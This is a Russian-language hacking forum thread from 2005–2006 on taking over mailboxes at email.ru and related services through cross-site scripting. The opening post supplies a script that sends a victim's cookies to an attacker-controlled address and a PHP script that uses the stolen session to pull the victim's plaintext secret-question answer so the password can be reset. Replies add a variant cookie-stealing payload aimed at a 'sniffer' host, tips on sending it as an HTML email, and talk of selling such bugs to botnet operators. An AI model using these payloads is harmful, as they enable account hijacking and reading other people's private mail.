PDA

Просмотр полной версии : Захват ящика на email.ru(aport.ru,omen.ru,atrus.ru,au.ru,imail.ru, aport2000.ru)

Майор
12.03.2005, 22:54
Как выяснилось фильтров там вообще никаких нет, ну или покрайне мере я их там не нашёл :)))
Для идентификации пользователей сервер использует id(в переменной cookie) или если id не обноружен, то куки. Причём идентификатор сесии СОВПАДАЕТ с переменной "AGMail" в cookies.
Впринципе нам достаточно получить только куки пользователя и подделов их попасть в его ящик, но это сработате только если пользователь не нажал кнопку "выход"
=> напишем скрипт, который отсылает cookies на скрипт(причём данный скрипт работает не только в IE, но и в других броузерах поддерживающих javascript:
<script>img=new Image();img.src='http://adres_scripta.php?'+document.cookie;</script>
Поскольку ответ на секретный вопрос храниться в открытом виде, напишем ещё один скрипт на php, который сохраняет нам страницу "Информация о пользователе" где он и присутствует:

<?
$nachalo=strpos("$QUERY_STRING","AGMail=")+7; // ищем номер позиции с которой начинается cookie
$cooka=substr("$QUERY_STRING","$nachalo"); // сохраняем cookie в переменную $cooka
$p=join('',file("http://email.ru/scripts/options?user=1&site=rol&cookie={$cooka}")); // читаем информацию о пользователе и загоняем её в переменную $p
$f=Fopen("./{$cooka}.html","w") or die("ale!!!!!!!!!"); // открывает канал для записи
fputs($f,$p); // записываем переменную $p
fputs($f,$QUERY_STRING); // на странице "Информация о пользователе" нет адреса жертвы, но он есть в куках, потому также запишим их в этот фал на всякий случай :)
fclose($f); // закрываем канал
?>

Потом идём вместе с секретным вопросом и меняем пароль на мыло !
P.S. По этому же принцепу можно читать чужую почту, записав свой адрес на перенапрвыление почты...
rsha1988
13.03.2005, 02:05
1 чето не сработало!
а в 2 как применить?
Просто отправить по почте или на сайт загрузить?
Майор
13.03.2005, 02:09
1 чето не сработало!
а в 2 как применить?
Просто отправить по почте или на сайт загрузить?
Первый скрипт от правляешь по почте в виде html письма
Второй заливаешь на сайт(бесплатный хостинг не подойдёт так как там запрешены исходяшие линки)
rsha1988
13.03.2005, 03:33
1 я понял (я думал на mail.ru это работает )) )!
А вот 2 чето не понятно...
$p=join - это ник чтоли?
user=1 - и как я узнаю ид мыла...
Майор
13.03.2005, 13:42
1 я понял (я думал на mail.ru это работает )) )!
А вот 2 чето не понятно...
$p=join - это ник чтоли?
user=1 - и как я узнаю ид мыла...
&cookie={$cooka} - эт ид
$p=join - это функция которая читает страницу
Glyuk
13.03.2005, 22:16
Красавец! Но на mail.ru тэг <script> фильтруется и заменяется на <xscript>... так что думаем дальше...
lexa
14.03.2005, 19:08
вообще для mail.ru , просто посылаещь http://antichat.ru/cgi-bin/s.jpg? и ждещь когда зайдут по этой ссылке , и на снифе появиться сесия атакуемого , просто вставляешь идешь по его ссылке (что в снифере появилась ) и все ты у него на почте ":))
конечно это наверно все знают .....

а вот офигенный сайтик http://unknown-.chat.ru/page5.html прочтите ":))
lexa
14.03.2005, 19:23
да, и ссылку можно замаскировать , просто он открывает письмо и она само срабатывает
Lost Viking
15.03.2005, 18:22
Попробовал на своём почтовом ящике, и получил к нему доступ... вот ведь теперь бояться надо себя! :cool:

С уважением,
Илья.
sl_play
17.03.2005, 11:18
Я считаю, что даная статья является заблуждением её автора.
Каждый сайт оставляет на "машинах" пользователей свои кукисы, тоесть: если мы на сайте вставляем строку alert(document.cookie) мы увидим кукисы те, которые мы сами туда записали, а отнюдь не кукисы с сайта почтовой системы. Данная статья будет актуальна и функциональна в случае, если эта строка, укзананная в статье: "<script>img=new Image();img.src='http://adres_scripta.php?'+document.cookie;</script>" записана в страницу почтовой системы. Если Вы вставили эту строку в свой сайт и надеетесь таким путём прочесть кукис, который сохранила одна из почтовых систем, то у Вас конечно же ничего не выйдет. Таким образом вы всего лишь прочтёте кукисы, которые сами впихнули юзверю. Надеюсь моя мысль понятна.
sl_play
17.03.2005, 12:24
я писал ранее о неработоспособности данного примера.
Приношу свои извинения авторам и сайту.
Я увидел на одном из сайтов в инете этот пример просто вставленный в штмл, именно это и ввело меня в заблуждение.
Ещё раз сорри!
Майор
17.03.2005, 17:58
PS Наглядным примером работы почтовой системы вообще без куков, является почта на e-mail.ru
rsha1988
27.03.2005, 15:27
На:
pochta.ru, front.ru, fromru.com, hotbox.ru, krovatka.net, land.ru, mail15.com, mail333.com, pisem.net, pochtamt.ru, pop3.ru, rbcmail.ru, smtp.ru 1`й вариант тоже работает)))
Майор
27.03.2005, 23:07
На:
pochta.ru, front.ru, fromru.com, hotbox.ru, krovatka.net, land.ru, mail15.com, mail333.com, pisem.net, pochtamt.ru, pop3.ru, rbcmail.ru, smtp.ru 1`й вариант тоже работает)))
нууу, нет конешно, там как минимум надо хеш-пароль иметь чтоб этим воспользоваться
rsha1988
28.03.2005, 01:50
нууу, нет конешно, там как минимум надо хеш-пароль иметь чтоб этим воспользоваться
Не, попробуй отправить письмо с вложеным html документом в котором будит этот код:
<img src="javascript:img=new Image();img.src='http://сниффер/me.jpg?cooki='+escape(document.cookie)">
Правда есть минус один - как только юзверь из почты выходит все накрываеться(((
Майор
28.03.2005, 11:45
Не, попробуй отправить письмо с вложеным html документом в котором будит этот код:
<img src="javascript:img=new Image();img.src='http://сниффер/me.jpg?cooki='+escape(document.cookie)">
Правда есть минус один - как только юзверь из почты выходит все накрываеться(((
это почти на всех почтах так...., этож не зават ящика ..
firreli
21.04.2005, 17:55
pojaluysta podrobney opishite na schet pervogo primere na mail.ru
zaranye pasiba
BNF
16.05.2005, 01:36
слушайте, а насколько актуальна статья в настоящее время?
имею ввиду дырки эти уже прикрыли??
SanyaX
18.01.2006, 13:21
Это ыт уже заебал на флудил нету ХСС на маил.ру а тем более для тебя! Если ты спрашиваешь как закодировать код. То я не думаю что ты ХСС нашёл.
SanyaX
18.01.2006, 13:22
А так же могу сказать но не точно ХСС на маил.ру за стоко не продаётся! Она стоит чуть ли не 100 баксов. Так что я тебе не верю.
ZaCo
18.01.2006, 17:11
2SanyaX ты чего какой сто баксов?? мну стал бы богатым+))))) :D за бесплатно могу в общаг вынести ;) (чтоб все не думали - бага отличается от той что нашел Dronga поэтому моя гыгы)
pantilxaker расслабься - для этого есть раздел обьявления
---
ЗЫ LittleLamer выкладывал в общаг хсс на яндесе чуется стоит не меньше а ведь выложил+)
PinkPanther
28.01.2006, 03:13
ЗЫ LittleLamer выкладывал в общаг хсс на яндесе чуется стоит не меньше а ведь выложил+)Не, просто это Че с похмелья чистил ГМ и случайно переместил. )
А насчет XSS, поверь, Я общался с чеоловеком, который их сборщикам ботнетов по 50 баксов толкал. Само собой это был необычный пассиы хрен знает где.
dinar_007
28.01.2006, 13:18
Не надо на майл.ру Xss на паблик ложить... Ато пофиксят имхо (((

P.s. Розовая Пантера, уменьши подпись )))
NOmeR1
14.06.2006, 19:49
Люди, а этот трюк действует на народе (жертва@yandex.ru, жертва@ya.ru, жертва@narod.ru)?
:)
-----------
люди, я чёто не понял, куда сохраняются куки? :confused:
+toxa+
15.06.2006, 00:28
Нет, на яндексе фильтры....
NOmeR1
15.06.2006, 15:23
А куда куки сохраняются?
Otaku
15.06.2006, 17:20
Упёртые?
На сниффер приходят.
NOmeR1
15.06.2006, 18:50
Я чёто не заметил в скрипте ссылку на сниффер.